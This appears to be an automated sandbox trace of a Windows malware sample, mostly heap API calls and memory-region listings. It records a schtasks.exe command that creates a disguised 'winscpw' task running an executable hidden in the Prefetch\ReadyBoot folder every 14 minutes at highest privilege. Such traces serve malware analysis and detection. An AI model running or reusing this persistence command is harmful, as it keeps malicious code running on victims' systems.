1 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6e0) returned 1 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd6e0) returned 0x16 [0080.498] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6e0 | out: hHeap=0x2b0000) returned 1 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce40) returned 1 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cce40) returned 0x20 [0080.498] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce40 | out: hHeap=0x2b0000) returned 1 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.498] GetProcessHeap () returned 0x2b0000 [0080.499] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2e9c10) returned 1 [0080.499] GetProcessHeap () returned 0x2b0000 [0080.499] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2e9c10) returned 0x82 [0080.499] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2e9c10 | out: hHeap=0x2b0000) returned 1 [0080.499] GetProcessHeap () returned 0x2b0000 [0080.499] GetProcessHeap () returned 0x2b0000 [0080.499] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce10) returned 1 [0080.499] GetProcessHeap () returned 0x2b0000 [0080.499] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cce10) returned 0x20 [0080.499] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce10 | out: hHeap=0x2b0000) returned 1 [0080.499] GetProcessHeap () returned 0x2b0000 [0080.499] GetProcessHeap () returned 0x2b0000 [0080.499] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd720) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd720) returned 0xe [0080.500] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd720 | out: hHeap=0x2b0000) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccde0) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccde0) returned 0x20 [0080.500] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccde0 | out: hHeap=0x2b0000) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd740) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd740) returned 0xc [0080.500] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd740 | out: hHeap=0x2b0000) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdb0) returned 1 [0080.500] GetProcessHeap () returned 0x2b0000 [0080.500] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccdb0) returned 0x20 [0080.501] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdb0 | out: hHeap=0x2b0000) returned 1 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd760) returned 1 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd760) returned 0xe [0080.501] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd760 | out: hHeap=0x2b0000) returned 1 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd80) returned 1 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd80) returned 0x20 [0080.501] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd80 | out: hHeap=0x2b0000) returned 1 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.501] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd780) returned 1 [0080.501] GetProcessHeap () returned 0x2b0000 [0080.502] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd780) returned 0x10 [0080.502] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd780 | out: hHeap=0x2b0000) returned 1 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd50) returned 1 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd50) returned 0x20 [0080.502] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd50 | out: hHeap=0x2b0000) returned 1 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb50) returned 1 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbb50) returned 0x18 [0080.502] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb50 | out: hHeap=0x2b0000) returned 1 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5af0) returned 1 [0080.502] GetProcessHeap () returned 0x2b0000 [0080.502] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5af0) returned 0x20 [0080.503] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5af0 | out: hHeap=0x2b0000) returned 1 [0080.503] GetProcessHeap () returned 0x2b0000 [0080.503] GetProcessHeap () returned 0x2b0000 [0080.503] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b20) returned 1 [0080.503] GetProcessHeap () returned 0x2b0000 [0080.503] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b20) returned 0x20 [0080.503] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b20 | out: hHeap=0x2b0000) returned 1 [0080.503] GetProcessHeap () returned 0x2b0000 [0080.503] GetProcessHeap () returned 0x2b0000 [0080.503] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b50) returned 1 [0080.503] GetProcessHeap () returned 0x2b0000 [0080.503] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b50) returned 0x20 [0080.504] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b50 | out: hHeap=0x2b0000) returned 1 [0080.504] GetProcessHeap () returned 0x2b0000 [0080.504] GetProcessHeap () returned 0x2b0000 [0080.504] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b80) returned 1 [0080.504] GetProcessHeap () returned 0x2b0000 [0080.504] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b80) returned 0x20 [0080.504] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b80 | out: hHeap=0x2b0000) returned 1 [0080.504] GetProcessHeap () returned 0x2b0000 [0080.504] GetProcessHeap () returned 0x2b0000 [0080.504] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb70) returned 1 [0080.504] GetProcessHeap () returned 0x2b0000 [0080.504] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbb70) returned 0x18 [0080.505] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb70 | out: hHeap=0x2b0000) returned 1 [0080.505] GetProcessHeap () returned 0x2b0000 [0080.505] GetProcessHeap () returned 0x2b0000 [0080.505] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bb0) returned 1 [0080.505] GetProcessHeap () returned 0x2b0000 [0080.505] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5bb0) returned 0x20 [0080.505] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bb0 | out: hHeap=0x2b0000) returned 1 [0080.505] GetProcessHeap () returned 0x2b0000 [0080.505] GetProcessHeap () returned 0x2b0000 [0080.505] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c40) returned 1 [0080.505] GetProcessHeap () returned 0x2b0000 [0080.505] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5c40) returned 0x20 [0080.506] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c40 | out: hHeap=0x2b0000) returned 1 [0080.506] GetProcessHeap () returned 0x2b0000 [0080.506] GetProcessHeap () returned 0x2b0000 [0080.506] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ca0) returned 1 [0080.506] GetProcessHeap () returned 0x2b0000 [0080.506] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5ca0) returned 0x20 [0080.506] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ca0 | out: hHeap=0x2b0000) returned 1 [0080.506] GetProcessHeap () returned 0x2b0000 [0080.506] GetProcessHeap () returned 0x2b0000 [0080.507] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d00) returned 1 [0080.507] GetProcessHeap () returned 0x2b0000 [0080.507] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5d00) returned 0x20 [0080.507] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d00 | out: hHeap=0x2b0000) returned 1 [0080.507] GetProcessHeap () returned 0x2b0000 [0080.507] GetProcessHeap () returned 0x2b0000 [0080.507] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d30) returned 1 [0080.507] GetProcessHeap () returned 0x2b0000 [0080.507] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5d30) returned 0x20 [0080.507] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d30 | out: hHeap=0x2b0000) returned 1 [0080.507] GetProcessHeap () returned 0x2b0000 [0080.507] GetProcessHeap () returned 0x2b0000 [0080.508] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb90) returned 1 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbb90) returned 0x18 [0080.508] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb90 | out: hHeap=0x2b0000) returned 1 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c70) returned 1 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5c70) returned 0x20 [0080.508] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c70 | out: hHeap=0x2b0000) returned 1 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb10) returned 1 [0080.508] GetProcessHeap () returned 0x2b0000 [0080.508] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbb10) returned 0x18 [0080.508] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb10 | out: hHeap=0x2b0000) returned 1 [0080.508] exit (_Code=0) Thread: id = 172 os_tid = 0xc94 Process: id = "46" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c792000" os_pid = "0xcfc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3764 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3765 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3766 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3767 start_va = 0x100000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3768 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3769 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3770 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3771 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3772 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3773 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3774 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3775 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3776 start_va = 0x180000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3777 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3778 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3779 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3780 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3781 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3782 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3783 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3784 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3785 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3786 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3787 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3788 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3789 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3790 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3791 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3792 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3793 start_va = 0x2d0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3794 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3795 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 3796 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3797 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3798 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3799 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3800 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3801 start_va = 0x5c0000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 3802 start_va = 0x750000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 3803 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3804 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3805 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3806 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3807 start_va = 0x1b50000 end_va = 0x1e1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3831 start_va = 0x1e20000 end_va = 0x1e9cfff monitored = 0 entry_point = 0x1e2cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3832 start_va = 0x1e20000 end_va = 0x1e9cfff monitored = 0 entry_point = 0x1e2cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3833 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3834 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3835 start_va = 0x1e20000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 3836 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 3837 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3838 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3839 start_va = 0x20f0000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 3840 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3841 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3842 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3843 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3844 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3845 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3846 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3847 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3848 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 173 os_tid = 0xd00 [0079.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x17fa80 | out: lpSystemTimeAsFileTime=0x17fa80*(dwLowDateTime=0x589cf2e0, dwHighDateTime=0x1d9eb0c)) [0079.934] GetCurrentProcessId () returned 0xcfc [0079.934] GetCurrentThreadId () returned 0xd00 [0079.934] GetTickCount () returned 0x176969b [0079.934] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x17fa88 | out: lpPerformanceCount=0x17fa88*=2488641787145) returned 1 [0079.935] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0079.935] __set_app_type (_Type=0x1) [0079.935] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0079.935] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0079.936] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0079.936] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0079.937] _onexit (_Func=0xff932afc) returned 0xff932afc [0079.937] _onexit (_Func=0xff932b58) returned 0xff932b58 [0079.937] _onexit (_Func=0xff932b80) returned 0xff932b80 [0079.937] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0079.937] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0079.937] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0079.937] _onexit (_Func=0xff932c20) returned 0xff932c20 [0079.938] _onexit (_Func=0xff932c48) returned 0xff932c48 [0079.938] _onexit (_Func=0xff932c70) returned 0xff932c70 [0079.938] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.938] WinSqmIsOptedIn () returned 0x0 [0079.938] GetProcessHeap () returned 0x1d0000 [0079.939] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1e7fa0 [0079.939] SetLastError (dwErrCode=0x0) [0079.940] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0079.940] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0079.940] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0079.940] 